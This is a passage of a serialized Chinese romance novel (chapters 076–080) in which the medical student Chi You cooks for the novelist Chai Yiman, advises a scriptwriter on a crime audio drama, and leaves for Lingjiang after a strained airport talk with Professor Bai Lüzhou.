她站在一片树荫下,握着亮屏的手机,车才开进她的视野,她便远远地举着握手机的手挥了挥。 柴以曼今天明显仔细打扮过,妆发精致,穿衣讲究,耳饰和项链都精心搭配过。 只是她手腕上的檀木手串一直没摘,画风稍稍有点不协调,但她本人似乎并不在意。 车子停在柴以曼面前,白鹭洲和池柚一起下了车。 柴以曼见到白鹭洲时眼底没有很惊讶,但还是做出了一副惊讶的样子:“呀,白教授,是你来送小柚子?” 白鹭洲绕车走过来,三个人都站在了树荫底下,“昨天太晚了,她回家不方便,就在我奶奶家待了一夜,今天我刚好送送她。” 柴以曼:“辛苦了,要一起进屋喝杯水吗?” “不了,你们忙你们的事,我还要去上班。” 白鹭洲抬腕看了下表。 “说完这两句话就得走。” 白鹭洲的“两句话”肯定不会是对她说的,柴以曼一副懂了的表情点点头,“哦哦,好。” 白鹭洲看向池柚,声音放轻。 “这里位置太偏,不好打车,你忙完了要回家的话和我说,我来接你。” 池柚还没来得及说话,柴以曼就先笑了出来。 “我说白教授,这人才刚送到,你就想着要往回接了?” 柴以曼觉得好玩儿,白鹭洲的样子好像是送池柚来上学的,嘱咐她放学后记得和家长说一声好早点回家吃饭似的。 白鹭洲欲言又止,“我……怕她不好回家。” 柴以曼:“你不来,我也会送她回家的,不用担心。而且——”她抬起胳膊,胳膊肘轻轻压在池柚一侧的肩上,“我有优先送你的资格,对不对,小柚子?” 池柚愣了愣,老实地回答:“是啊。” 白鹭洲的双眼瞥向地面。 “开个玩笑而已,不是真的挑衅你啦。”柴以曼笑着认真道,“其实谁送她回家都行,到时候看谁有时间。” 白鹭洲:“……我都有时间。” 柴以曼:“你不上班了?” 白鹭洲没说话,但她心里想: 她可以和同事换课。 虽然最近请病假和换课有点频繁,她的职业道德良心有点过意不去,可谁叫生病的时间刚好碰上了这三个月的当口,所有的烦琐都累积到了一起。 百分之九十九的时间里,白鹭洲分得清事业与感情在生命漫长的道路上孰轻孰重。但如果她可以允许自己有百分之一的偏差,她希望,这百分之一就用在这三个月里。 三个月后再好好补偿工作上的事吧。 眼下,她就想任性地让感性压倒理性这么一小段时间。 池柚心里在想的是:不知道最快多久可以考到一张驾照。 考完驾照妈妈会给她买车,买了车,她就再也不用总夹在这种“白鹭洲送她还是柴以曼送她”的令人抓狂的问题里。 池柚突然就很后悔,这几年上学,身边的同学都抽空去考了驾照,就她一门心思放在学术里。 妈妈老早就提过考驾照的事,巴不得池柚早点考完好给她买台车,还说,池柚要是再晚几年去考,她给池柚攒的购车资金都可以买个便宜的保时捷了。 不知道现在有没有攒到一台保时捷。 而柴以曼现在心里在想: 两分钟了,她的问句还悬在那儿没人回答,这俩人不说话也不动,不知道在想什么。 ……她快要被大中午的温度热死了。 第077章 很幸运地, 柴以曼最后没有被热死。 因为白鹭洲掐着时间要上班,她的精神意志仿佛可以在她出神的时候帮她数秒,在发呆到deadline后, 她恍如初醒地看了眼表,打破了沉默: “我先走了, 有事再联系吧。” 柴以曼:“好, 白教授再见。” 池柚:“改天见, 老师。” 白鹭洲向她们颔了颔首,转身回车。 目送白鹭洲的车消失在山道后,柴以曼才带着池柚进小区。 昨天白鹭洲送柴以曼回来, 只送到了小区门口,谁也没进过她的住处。等走到柴以曼的家,池柚才发现柴以曼住的地方不是公寓楼,而是一座独栋的二层小别墅。 “你一个人, 需要租这么大的地方吗?”池柚环顾着周围问。 柴以曼用指纹打开了大门, 请池柚进去,“这不是租的,是我妈妈的房子。她三年前就和我爸搬去暨宁了,房子就空了出来, 我从小在云州长大, 觉得这里才是家,总还是想回来待待。所以, 这房子没卖也没出租, 方便我在云州的时候过来住。” 池柚:“这样啊。” 两个人走进客厅,柴以曼从冰箱里取了一瓶汽水, 倒进杯子给池柚,“编剧老师会在一个小时后到, 刚好是饭点,我和她反正都还没吃午饭,你呢?” 池柚:“我只吃了早饭。” 柴以曼:“那太好了,我就不用愧疚了。” 池柚:“啊?” 柴以曼带着池柚来到冰箱前,拉开冷冻柜,露出里面塞得满满的肉。 “你看看,你做饭需要用到什么食材,随便拿。” 池柚睁大眼睛看着这硕大的冰箱,“这……” 柴以曼解释道:“我可不是不舍得钱才拜托你亲手做的,实在是这地方太偏了,方圆五公里内一家饭馆都没有,外卖也送不到这儿。你辛苦辛苦,算我欠你个人情。” 池柚疑惑:“没有饭馆和外卖,那姐姐之前怎么吃饭的?” 柴以曼:“自己做。” 池柚:“今天不可以自己做?” 柴以曼:“不可以。” 池柚:“为什么?” 柴以曼:“因为不能让客人吃白水煮肉。” ……白水煮肉。 多聊了几句,池柚才知道:原来,柴以曼一个人在家的时候,大部分时间都忙着写东西,写起来就顾不上现实世界里的事,规律三餐这种事根本不存在于她的生活。等她饿得实在不行了,才会去冰箱翻一点牛肉或者虾出来,白水一煮,沾酱油吃。 太寒碜了,寒碜到池柚都听不下去了。 哪怕今天没有别的客人来,池柚也一定会好好做顿饭出来。 倒不是有多心疼柴以曼,是她需要通过这个行为,来抚慰自己那被白水煮肉强.奸过的耳朵。 池柚在厨房做饭,柴以曼坐在厨房外的小沙发上,抱着台笔记本忙自己的事。 尽管柴以曼的眼睛在看剧本大纲,她的嘴巴却可以一心两用地说个不停。 她一直在和池柚搭话。 但不是会让人觉得厌烦的那种尬聊,她说的都是些不惹人反感的有趣话题。 按理说,柴以曼没有自己一个人跑进卧室去忙工作,而是留下来待在客人能看见的地方,并且不会因为自己在忙就冷待了客人,客人应该感到舒服才对。 不过…… 池柚这个客人,对这样的体贴应对得很难受。 池柚喜欢专心致志地做事,虽然和柴以曼的对话不至于将她打岔到忘记步骤或是放两遍相同的调料,可…… 这样聊着天,她就没办法数肉片的厚度了。 一刀切下去,肉被切割成的状态,对她这个医学生来说还是比较重要的。 这关乎她的专业水平是否一直保持在正常线的问题。 这个时候,池柚忽然想念起了早上和白鹭洲一起做饭的时光。 白鹭洲很安静,闲聊的欲望向来不是很高。和她待在一个空间里的时候甚至可以忽视掉她,然而想起她时,回过头,她也还在原地。 不会以炽烈的凝视绑架你,不会以外泄的守护姿态勾起你的愧疚,只会静静地留一个背影,慢条斯理地做她自己的事。 但你心里很清楚,她留下来,其实就是为了守着你的。 于是感到温暖的同时,不会带来任何心理负担。 只觉得安宁。 与从头淌到脚尖的放松。 池柚准备食材的动作忽然停滞住。 奇怪,和柴以曼聊天不会打岔她,想起白鹭洲的时候,她却被回忆干扰了。 这碗肉馅……她放过盐了吗? 池柚端着肉馅碗,回过神来时久久站立,呆了好半天。 后来还是她用筷子挑了一点生肉尝了尝,确定了咸淡,才挽救了一下她这短暂失智引发的后果。 一个小时后,编剧老师准时到达了小区。柴以曼又出去了一趟,亲自把编剧老师迎接回家里。 饭菜也都做好了,池柚抹着额头上的细汗,围裙都来不及解,就忙着一盘一盘菜往餐桌上端。 编剧老师一进门,扫了忙碌的池柚一眼,本能地没当回事,问柴以曼:“咱们的小说女主呢,这都已经到时间了,小说女主什么时候来呀?” 柴以曼笑了,指着忙得头发乱翘的池柚说:“这不就是吗。” 编剧目瞪口呆,看看池柚,又看看柴以曼。 “我去,我还以为这是你家小保姆!你你你、你怎么让唐柠亲自做饭啊?!” “唐柠”是那本刑侦小说的女主角名字。 编剧忙走上前,伸出手:“老师你好,我姓庄,你叫我的圈名‘庄元宝’就好。” 池柚和庄元宝握手,“你好,我叫池柚。” “知道知道,我听柴大大说起过,”庄元宝的眼睛里在闪星星,“我特别喜欢你,哦不不,应该说特别喜欢唐柠,我是老书粉了,这次能作为编剧和柴大大合作已经很惊喜了,没想到还有机会见到唐柠本人。啊不……原型本人。抱歉,我太激动了。” 庄元宝的手又凉又抖的,看得出来是真的很激动。 柴以曼看出池柚被握得有点不自在,便走过来替她解围:“元宝老师,你这哪是书粉啊,你是角色唯粉才对。我在这儿站半天,你还没和我握握手呢。” 庄元宝不好意思地道了两句歉,松开了池柚和柴以曼握手寒暄。 寒暄客套过后,柴以曼请庄元宝先坐下来吃饭,吃过饭再细谈工作。 池柚端上最后一盘菜时,庄元宝一脸“啧啧啧”的表情看着面前这桌饭。 这是“唐柠”亲手做的饭哎,她何其有幸。 “柴大大,你和池老师应该认识很久了吧?”庄元宝在吃饭的间隙问。 柴以曼:“没有,以前只是久仰她的大名,最近才真正认识。” 庄元宝:“啊?才认识,她就可以进你家厨房做饭啊?” 柴以曼看向池柚,“可以说吗,小柚子?” 池柚知道柴以曼在问什么,吃着饭随意地点了点头。 柴以曼:“我们最近在相亲呢,或许未来某一天,这就是我女朋友了。” 庄元宝震惊:“你、你们,还有这关系?!” 柴以曼:“你可不要去别处说啊,没尘埃落定的事,我暂时不想透露出去。” 庄元宝连连答应,说:“我懂我懂,你名气那么大,公众人物嘛,恋情都是要保密的。” 柴以曼纠正:“我不会保密恋情,真有恋情,我一定会公开。只是目前我和她还是朋友,我不想给她造成困扰。” “哇。” 庄元宝支起下巴看看柴以曼,又看看池柚。 “好体贴,好配,我有点嗑你们了。” 柴以曼笑眯眯地说: “可以嗑哦。” 池柚只是低着头认真扒饭。 吃过饭,三个人坐在客厅的沙发上,柴以曼和庄元宝各抱一台电脑看剧本大纲,池柚作为“顾问”攥着杯汽水坐在侧边,乖乖地等她们问问题。 庄元宝说广播剧要做两季,第一季剧本已经出完了,第二季为了补长度得添加两个新案件进去,需要柴以曼这个原作者来提供故事框架,池柚补充专业细节。她在共享文档里点出加剧情的地方。柴以曼开始构思剧情,示意庄元宝有什么需要问池柚可以先聊,不用管她。 庄元宝说剧情里会牵扯到凶手对尸体进行防腐处理的过程,问池柚做防腐的方法。 池柚问:“元宝姐姐,你是想听一些比较适合写进文艺作品的新奇手法吗?” 庄元宝使劲点头:“对!你太懂我了。” 池柚沉思片刻。 “有一种。弄一桶液体颜料,切开死者脖子上的大动脉,插一条连着颜料桶的细金属管进去,再用另一条金属管从颈静脉接出,打开连接进、出两条管子的机动泵,人的血液就会被颜料替换出来。这样去除血液,不仅可以防腐,颜料的颜色也会通过毛细血管渗入到细胞中,呈现在尸体皮表。” “普通殡葬业一般会用桃粉色颜料,这样尸体被染出来的颜色会更生动漂亮。” 池柚想了想。 “杀人凶手么,用别的颜色也可以,看你想要你的剧情出什么样的效果了。恐怖用红色,恶心用绿色,梦幻一点的话,五颜六色也行。” 五颜六色的……尸体吗? 庄元宝瞠目结舌地听池柚用“生动,漂亮,梦幻”这样的副词填充在这样的谈话里,进一步真切感受到了,小说女主本人似乎真的从纸片上站起来,坐在了她的对面。 冷静,高智,天真,残忍。 接下来的许多问题,愈发加深了这种印象。 庄元宝对池柚那可爱又带感的性格简直爱得不行,爱到不管此时合不合适,都忍不住开口对池柚发起了一个邀请: “池老师,我们第一季明天开始棚录,在陵江市,你能不能一起去见见CV老师?她要是见过你,一定会将唐柠塑造得更完美的!” 她又连忙说: “就是时间可能会久一点,估计一个礼拜是回不来了。” 池柚怔住,“……啊?” 庄元宝拉了拉看电脑的柴以曼,“我们柴大大也去,对不对?” 说实话,柴以曼还没确定要不要去。 制作方联系她很多次了,但她一直都觉得线上听也一样,没必要亲临现场。以前她的书改广播剧,她也从未去监棚过。 不过她对上了庄元宝的眼神,从庄元宝的眼中读出了“给你们制造相处一周的机会还不赶紧上”的信息。 然后柴以曼不着痕迹地收回目光,自然地答: “对啊,我也去。” 第078章 其实池柚目前挺忙的, 虽然研究生课程已经全部结束,但卡罗林斯卡那边需要的报告需要一刻不停地筹备。她最近的实验一旦中断,很可能功亏一篑。 而且, 要去陵江一个礼拜的话…… 普通时间线中,一个礼拜的时间并不算长, 可能工作日忙忙东忙忙西, 周末睡两天觉, 一周也就过去了。* 可如果她一个月后就要按计划出国,这七天的时间以这三十天作为分母,是不是占比有点大? 一下子剥夺走白鹭洲能见到她的四分之一的时间, 池柚不知道这正不正确。 在和庄元宝的后续交流里,池柚没有确切地回答要不要去的问题。 庄元宝陆续又问几次的时候,她都只说自己得再想想。 剧本研讨进行了五个小时,结束后又是饭点, 池柚提前离开了一会儿, 去厨房再做了一顿丰盛的晚饭。 庄元宝吃过晚饭后就抱着收获满满的电脑走了,走之前还很期待地和池柚说希望她一定要去趟陵江,她会一直等她消息。 等客人离开后,柴以曼和池柚一起在厨房洗碗。 “小柚子。”碗碟轻微的碰撞声中, 柴以曼忽然开口唤池柚。 池柚拧着洗碗毛巾, “嗯?” 柴以曼:“你是对所有事都这么谨慎,还是只对和我有关的事这么谨慎?” 池柚没懂柴以曼的意思, “什么?” “之前还没见面的时候, 我说等我回云州请你吃饭,你也是不确定了很久, 好多天以后才和我说你答应了。” 柴以曼挤了点洗洁精在盘子上。 “这次也一样,不过是几天的旅程, 庄元宝问你那么多遍,你都不置可否。” 池柚低了低头,“我只是还需要再考虑考虑。” “慎重做决定,坚决去落实,做抉择之前的犹豫是为了更坚定地为自己的选择负责。确实是你的性格呢。” 柴以曼以点概面地点破池柚,她在说池柚迟疑这两次邀约的事,也在说这三个月池柚踌躇该选她还是白鹭洲的事。 池柚闻言,出神了须臾。 她眨了下半晌都没眨的眼睛,“……妈妈有一点说得倒是对,姐姐确实比老师更容易看懂我。” 柴以曼笑道:“说明我们很合适,不是吗?” 池柚终于也承认了这个事实:“或许吧。” 柴以曼沉默片刻,问:“你……对我除了那三个月的承诺外,有没有一点点……觉得我真的很好,很适合做女朋友的想法?” 池柚:“我一直都觉得你很好。” 柴以曼的优秀是客观事实,她从不否认。 柴以曼停下了洗碗的动作,沾着水的手撑在台边。 她轻声问池柚: “如果白鹭洲没有回过头来追求你,你会不会更早地接受我?” 池柚还是低头洗碗,语气平静。 “她回不回头,都不影响我和你之间的进程。我说过,我答应过你这三个月会好好和你接触,努力喜欢上你,我答应过的事从不改变。她后悔了也罢,彻底不回头也罢,那都是三个月后才可以进入我的内心让我思考的事情。” 就算白鹭洲的靠近会让她脸红,白鹭洲的温柔会让她放松,甚至在厨房做菜的时候她会更怀念和安静的白鹭洲相处,但这些统统都不会动摇她的根基。 她和柴以曼的课题是一个单独的课题,和白鹭洲的课题是另一个独立的课题。她不会让它们互相产生干扰。 柴以曼凝视着池柚的侧脸,半晌都没说话。 “你知道吗,我既觉得我的希望真的很渺茫,又觉得,不甘心就这么放过你了。” 柴以曼弯起唇角柔和地笑。 “我现在还没有喜欢上你,但我对你的好感,正在和你交流过的每句话里面慢慢累积。我有些害怕,怕这些‘好感’最后累积成了‘喜欢’,你却选择了白鹭洲。” 池柚转过头,和柴以曼对视。 “那姐姐要不要趁现在还没累积成喜欢,停止接触?” “不要。” 柴以曼没有任何犹豫地摇头。 “因为我说了,就这么放过你,我不甘心。” 池柚这个女孩就是有这样的吸引力。 因为她对待事情足够认真固执,所以既会让人对她的这份固执望而生畏,怕迈不过去她严苛的那道槛,又会让人忍不住去想:如果迈过去了呢?如果自己可以有幸成为那个会让她认真固执对待的人,那该会有多幸福呢? 然后就舍不得,也不甘心放弃了。 于是心甘情愿赌一次。 永远怀揣着会赢的期待,也随时做好会输的准备。 柴以曼相信,白鹭洲的想法和她是一样的。 不一样的是—— 白鹭洲在赌池柚会否回头,她在赌池柚能否向前。 “你刚刚说,会好好和我接触,努力喜欢上我。那这次去陵江,我想让你陪我一起去,我想和你多接触接触。” 柴以曼温和地低声问。 “你可以出于守诺,答应我吗?” 柴以曼切入的角度让池柚说不出拒绝的字眼,她用语言逻辑强行推动了她的犹豫。 池柚思索了两秒,点了头。 “好吧,我去。” 柴以曼笑了,说:“元宝刚刚走之前和我说,行程就在明天下午。你要是去,就别回家来回折腾了,在我家住一晚,明天我们一起去机场。” 池柚:“可是要去一周,我得回家带些衣服还有洗漱用品。” 柴以曼:“不用了,到陵江我给你买新的。” 池柚:“这……不太好吧?花你的钱……” 柴以曼:“本来就是因为要帮我的书的广播剧的忙才去的,你放心,不仅这些我买了,你来回机票和吃饭住宿我全包了。这也算差旅了嘛。” “……嗯。” 池柚被说服了。 “那,在你家住一晚,方便吗?” 柴以曼:“你昨晚不是也在白鹭洲那儿住了一晚,有什么不方便的。” 池柚语塞了一秒,“我……我是问你方便吗?” 柴以曼笑得颤了颤,指着外面,“上下两层楼空房间多得是,随便住,怎么会不方便。还是说,你问我这句话的意思是——想住到我房间来啊?” “你……” 池柚听得出来柴以曼在故意逗她,细眉毛一皱,有点羞恼地把洗碗布按在台子上。 怎么都这么喜欢逗她? 柴以曼又笑了会儿,及时打住。 “好了好了,快洗碗吧。洗完我还要写东西呢,忙了一天,你估计也想休息了。” 这一天,池柚在白柳斋做早餐,在柴以曼家做午餐和晚餐,不仅做了三顿饭,中间还开了五个小时的会,确实也是累到了。累得她都没力气再跟柴以曼客套谦虚,只点点头。 两个人不再闲聊,专心洗完手头的碗。 厨房的事忙完,柴以曼在一楼帮池柚收拾了个房间出来,还给她留了新的睡衣和洗漱用品。池柚随口问柴以曼睡在哪个房间,柴以曼说也在一楼,就在池柚隔壁。 池柚:“那二楼呢?” 柴以曼:“二楼空着。” 池柚:“一般人住复式不都会睡在二楼么?” 柴以曼:“我懒得爬。” 好吧。 和柴以曼互道晚安后,进到房间锁上门,池柚立刻洗了个澡。 这一天下来她满身油烟味,实在受不了了。 进去洗澡前,池柚惯例拿起手机,看看有没有新消息。 她按了好几下锁屏按钮,发现屏幕始终不亮,才反应过来是没电关机了。也不知道是什么时候关机的,她今天一直在忙,都没注意。 池柚刚脱完衣服,这会儿身上一件也没穿,于是想着明天再去找柴以曼借充电器,反正自己晚上也不玩手机。 她放下手机,走进卫生间洗澡。 池柚洗完出来,才穿好睡衣,就听见了柴以曼敲她房间的门。 咚咚咚。 礼貌的慢节奏三声后,柴以曼的声音响起: “你方便出来一下吗?” 池柚低下头,愣愣地看了眼自己没穿内衣的胸口,婉拒道:“不太方便,姐姐有什么要紧事吗?” “还真有。”柴以曼隔着门和她对话,“你手机是不是关机了?白鹭洲好像试着联系过你,但联系不上,把她逼得都在群里艾特我问什么情况了。” 池柚靠在墙边,将门拉开了一条很窄的小缝,“手机没电了,麻烦姐姐帮我和老师说一声。” 柴以曼意欲不明地笑了笑,“让我说?” 池柚:“我不方便出去。” 柴以曼:“行,我说就我说,那我打完字你看一下,没问题我再发出去。” 池柚:“不用,我相信你。” 柴以曼笑意更深了些,不过这次不是意欲不明,而是明显的开怀。 柴以曼一边打字一边和池柚同步:“我和她说,你现在在我家,手机没电了,让她不用担心。” 过了一会儿,她给池柚念自己在群里收到的回复:“白鹭洲问,需不需要来接你回家。我要怎么回答?” 池柚:“如实回答就好了。” 柴以曼点点头,又打字并同步:“我告诉她,不用来接了,你今晚住在我家。” 等了好一阵子,对话框再没新消息出来。 “她不回了。” 话音刚落,柴以曼的嘴型一顿。 “哎,回了。她问,那明天什么时候来接你。” 池柚:“明天也不用啊。” 明天就得出发去陵江市了。 柴以曼按照池柚的原话回复过去。 等待少刻。 “白鹭洲又问:那后天什么时候来接你。” ……这样问下去,岂不是要问到天荒地老。 池柚:“你直接告诉老师我们要去陵江的事吧,和她说,未来一周都不用考虑接不接我的事了。” 柴以曼将池柚要传达的意思编辑好发送出去,握着手机站在原地等待白鹭洲的回音。 等了很久很久,久到她以为白鹭洲不会再回,都打算要跟池柚说晚安,群聊对话框里才又弹出新消息。 柴以曼听到提示音,低头看向手机,眉毛微微一挑。 “她回了。” 池柚:“说什么了?” “她说:哦。” 第079章 柴以曼离开之前, 问池柚需不需要现在给她拿充电器。 池柚太过疲惫,就算这会儿充上电,她也没有精神再看手机, 便说不用。 该说的话都已经传达到了,白鹭洲也没有表现出明显的什么情绪。就算有藏在简单文字后的隐忍情绪, 池柚也累了, 起码今晚, 她不想再向任何人解释任何事。 要一直去揣度和照顾别人的情绪,从来都是一件非常耗费精力的事。 而池柚活着的大部分时间,都在尽力去揣度并照顾着身边的人。家人, 同学,朋友,白鹭洲,柴以曼, 甚至是素未谋面的庄元宝。她猜他们的心, 猜他们想要的东西,猜他们在生气还是委屈,然后把自己的私情与私事无限地向后放置,觉得先让他们舒心, 比什么都重要。 可这真的太累了。 为他们做饭, 安抚他们的情绪,给予所有自己能给予的东西。她确实是心甘情愿, 但她也是血肉之躯, 她的中脑腹侧多巴胺也会分泌殆尽的。 池柚是一个从小就不常被世界善待的人,学校里的人歧视霸凌她, 社会上的大部分陌生人们也总用各种怪异的目光打量她。尽管会有人被她的特别吸引,但那些没有被铺陈出来的不友善, 仍然占据着她生命中的大多数。 然而,她活着的每一天,都在努力给世界输送善意。乃至那些被她吸引的人,也都是被她于千疮百孔中释放出的善意而吸引来的。 一个收到善意最少的人,却在坚持善待那些正常人,就好像一个穷光蛋在拼了命地给富人钱。 你能指望她把自己掏得多空呢? 池柚关了灯,躺在床上,眼睛在闭上的那一秒就睡着了。 这晚她没做梦。 或许是今天身体的极端疲惫引出了长久以来藏在心里的疲惫,她的大脑开启了自我保护机制。懂事的右脑潜意识帮她挡住了所有纷乱梦境,守卫了她一夜的安眠. 第二天,最先起来的居然是池柚。 池柚起床去厨房时才早晨七点钟,昨晚她睡得早,睡够时间就自然醒了,想着反正没事,可以去给柴以曼做早餐。 疲惫感但凡得以消退一点,她就又开始习惯性地去关心别人。 池柚做好早餐后去敲柴以曼的门,敲了一会儿,又等了好久,柴以曼才睡眼惺忪地来给她开门。 “现在几点啊?”柴以曼的眼睛都睁不太开。 池柚:“七点半。” 柴以曼:“七点半……我才睡两个小时。” 池柚:“姐姐熬这么晚?” 柴以曼:“我得写东西,晚上写才有灵感,一般都是熬到大天亮的。” 池柚知道自己的好心打扰到了对方,便道歉:“对不起,我知道的话就不敲你门了。” “没事啦。” 柴以曼的声音还带着哑,温柔地笑了笑,努力撑起一点精神。 “我闻到煎鸡蛋的香味了,你做了早餐?” 池柚点头:“嗯,要吃吗?” 柴以曼:“当然了,小柚子都做好了,我怎么可能不吃呢。你等等,我洗漱一下,马上就出来和你一起吃。” “姐姐。” 池柚叫住了转身要回房间的柴以曼。 “要不你还是继续睡吧,等你醒了,我再热一热。” 柴以曼揉了下困顿的眼睛:“不会麻烦你吗?” 池柚:“不会,不麻烦的。” 柴以曼:“行,那我继续睡了,大概在中午一点醒。” 池柚:“好。” 柴以曼还是保持着她一贯的优点:就算需要让池柚等,她也会给出一个明确的时间,让对方知道等待的终点在什么地方。 这样,池柚就不用一直挂怀着她什么时候醒的问题,不必隔一会儿就出来看看,只需要闲散地等候中午一点的到来即可。 一点钟的时候,池柚热好了饭菜,柴以曼也准时走出卧室。 柴以曼已经洗漱完毕,穿戴整齐,清爽地在餐桌边坐下来。她今天应该没有戴隐形,鼻梁上架着一副金丝细边的眼镜。 这副金丝眼镜却没有给她带来过多的书卷气,而是又添了几分矜贵。 ——可能因为这眼镜又是哪个贵得吓死人的牌子的吧。 池柚在看着柴以曼吃鸡蛋的时候,想:柴姐姐真的很喜欢把自己穿得像个花蝴蝶。 不是说风格多花哨,柴以曼的穿着风格很素净。但她喜欢各种奢侈品牌子,衣服、裤子、配饰,都是一眼就能看出十分昂贵的样式。然后就…… 显得她手腕上那串檀木手串更突兀了。 “你今天盯着我的时间,比以往都要长。” 柴以曼吃着煎蛋划动着手机看今天的新闻,头都没抬,不知道她怎么注意到这一点的。 “怎么,很喜欢我戴眼镜的样子?” 池柚若有所思:“没有,我只是在想,我是不是也适合戴眼镜。” 柴以曼略惊讶地抬眼,“怎么突然想这个?” 池柚:“戴眼镜好像可以让人看上去成熟一些。” 柴以曼了然地点头,“明白,年轻人都这样,年龄越小越想让自己看起来成熟。” 柴以曼抬手摘下了自己的金丝眼镜,递给池柚,说送给她。 池柚没接,疑惑地看了眼那眼镜,“我不近视。” 柴以曼:“这不是近视镜,这是平光镜。” 池柚:“那、那姐姐到底近视吗?” 柴以曼:“近视啊,只不过我眼睛里已经戴了隐形了。” 池柚更加不解了。 这是什么操作? 隐形外面架个平光镜,那为什么不直接戴个近视镜啊? 柴以曼解释:“这样可以随时摘取眼镜,搭配不一样的衣服。比如一会儿,我要穿外套,就不太适合戴眼镜了。但在机场脱掉外套,就可以用眼镜搭配衬衫。而且,近视镜会缩小人的眼睛,看起来会变丑的。” 活得……真精致。 池柚没有接过柴以曼的眼镜,她刚刚那句话也就是说说,没有真以后要戴装饰性眼镜的打算。 太麻烦了,她还是只会在解剖生物的时候戴一戴这种东西,防止血液飞溅与细菌感染,终究比装成熟来得更务实一些。 吃过饭以后,池柚给妈妈打了电话,说明了自己要和柴以曼去陵江一周的事,还嘱咐了两句不要忘了给旺财多喂点肉。 一旁正拖着行李箱往客厅拉的柴以曼随口重复了句:“旺财?” “嗯,我家的宠物。”池柚挂断电话,“尼古拉斯·旺财。” 柴以曼噗嗤一声笑了出来,“你起的名啊?” 池柚:“是啊。” 池柚不知道柴以曼在笑什么。如果柴以曼知道她桌上还摆着个埃尔蒙特·翠花,又得是什么稀奇表情呢。 两个人一边为出行做准备,一边闲聊。聊的都是些日常琐事,吃饭时和电话后的话题又深入地交流了一番,日常穿着,还有宠物等等。 池柚昨晚换下的衣服还没晾干,她今天还是得穿柴以曼的衣服。稍微有点大,她得把下摆扎进裤子里。柴以曼多拿了几套自己的衣服放进行李箱,以免来不及去给池柚买衣服的时候她没衣服换。 时间很快到了出发的时候。 柴以曼开车带着池柚,先去顺路接了庄元宝,驼上一车行李,再开向机场。毕竟山上是真的不好打车,而且为了接送方便,她还是开自己的车比较好。 再说了,会有人来机场帮她把车开回去。 她们到达机场门口时,那个来帮柴以曼把车开回去的人也到了。 庄元宝不认识那人,所以直接略过了她。 走在后面的池柚抬头看见那人,眼睛睁大,脚步倏忽顿住。 白鹭洲? 白鹭洲怎么会出现在这里? 池柚怔怔地望着白鹭洲,反复确认这不是她的错觉。 柴以曼走上前,和白鹭洲打招呼:“白教授,辛苦你跑一趟了,这是车钥匙。” 白鹭洲接过柴以曼递来的钥匙,“没事。本来也是我先问你能不能来送机的事,帮忙都是顺便的。” 柴以曼:“那你和小柚子聊,我去安检口后面的休息区等她。” 等柴以曼和庄元宝都进安检了,白鹭洲看了池柚一眼,主动走到了旁边清净少人的地方。 池柚知道白鹭洲看她那眼的意思,抿了抿嘴唇,也跟了过去。 等池柚在面前站定,白鹭洲打量着池柚身上那件明显不属于她自己的衣服,眼底的情绪深了许多。 “你在她家,洗过澡了?” 所以换了衣服。 池柚“嗯”了一声。 白鹭洲沉默了一会儿,她在等池柚解释更多的话。 但池柚没有,只有一个“嗯”。 白鹭洲有点颤抖地深吸口气,问:“昨晚你没有回复我,真的是手机没电了吗?” 池柚瞥向地面,“对啊。” 白鹭洲:“那后来柴以曼和你沟通上,你为什么不自己回复我,而是让她替你回复?” 池柚:“因为我刚洗完澡,不方便。” “……” 白鹭洲盯着池柚,良久,咬着下唇内壁的牙齿才松开。 “你知道吗,你的这些话,很容易引起我的误会。” 池柚安静了片刻,才抬起眼看白鹭洲,“老师,我可以回来以后再向你解释吗?现在马上要起飞了,时间很紧,而且……我这两天有点累。” 白鹭洲:“那你几号,几点回来?” 池柚:“怎么了?” 白鹭洲:“到时候我来接你。” 池柚:“接我的路上,就要急着听到解释么?” 白鹭洲眼底的光晃了晃。 “不是……” “我知道,老师你没有安全感,也习惯了我第一时间和你解释事情,所以我昨晚和今天没有主动联系你,你都会急得跑到机场来。可是……” 池柚顿了顿,抓紧了背包的肩带。 “你着起急来的时候,好像就会忘记想想我。想想我在想什么,要去做什么,还有夹在你和柴姐姐中间,要一直努力权衡些什么。我刚刚说我累了,你也好像一点都没有听进去。” 白鹭洲:“……我没有想要逼你。” 池柚:“我相信,你的主观意识不会忍心逼我,但你受潜意识驱动的行为是这样表现的。” 白鹭洲垂了垂眼,“抱歉。” “不用道歉,老师,我理解你,也没有感觉到困扰。只是通过这些小事,我好像注意到了一些以前没注意过的细节。” 池柚在进安检口之前,生平第一次,倒反天罡地给白鹭洲留下了一个课题。 “我突然觉得你之前的担心有道理。这些天,你还是好好思考一下,在你真正的内心深处,你到底是喜欢我给你的安全感,还是喜欢我这个人吧。” 池柚的语气并不重,也显然不带任何的情绪。这绝对不算是吵架。 她提出的问题的确是个很小的细节,她的担忧也是白鹭洲之前自己提到过的心事,无非是此刻又以认真的姿态重复了一遍。 但这些轻飘飘的细节,被轻飘飘的语气说出,就像秋天密密麻麻落下的松针。 很轻,却有着锐利的尖头。 落在人的心肉里,会刺得人浑身神经跟着痛痒。 白鹭洲望着池柚越来越远的背影,冰凉的手心已经攥到发麻了。 这一刻,她忽然看清了感情里的一个讽刺之处。 她可以怀疑自己爱情的真假,因为在多次怀疑后迎来的确认,可以让她心无芥蒂地去用灵魂拥抱对方。 但她不希望池柚开始怀疑。 因为这或许代表池柚又理智了一点,又离她更远了一点。 远到最后,可能,在她终于消除芥蒂时,池柚却生出了更多的芥蒂。 然后,就不会再选择走向她了。 第080章 到达陵江后已经天黑了, 三个人先入住了酒店。 庄元宝说CV老师明天到,饭局约到明晚,后天去录音棚围读试音。池柚不太懂这些流程, 反正随便庄元宝怎么安排,她跟着安排走就可以了。 晚间, 柴以曼单独带池柚出去, 和她吃了顿饭, 给她买了几身换洗的衣服。虽说柴以曼说过当差旅报,但池柚还是默默记下了价格,准备之后以其他方式送还回去。 柴以曼敏锐地发现, 池柚不是很适应离开云州这件事。 从上飞机开始,到晚上在陵江的餐厅吃饭,池柚一直在无意识地攥自己的手。大半天下来,手都攥得发红了。 从商场回来的路上, 柴以曼说:“你要是在这里待得很难受, 我明天就带你回云州。” 池柚:“不用,来都来了,就把元宝姐姐的忙帮完。” 柴以曼默默观察了一会儿池柚的神情,道:“总觉得你除了不适应到陌生的地方外, 心里还牵挂着别的事。你的神经绷得太紧了。” 池柚不愿再去细想和白鹭洲说的那些话, 闷闷地摇头:“没什么大事,别问了, 姐姐。” 和白鹭洲再次挑明那个问题, 对池柚来说,她受的煎熬不比白鹭洲本人少。 因为要思考答案的是白鹭洲。 而什么都不能做, 只能等待答案到来的,是池柚自己。 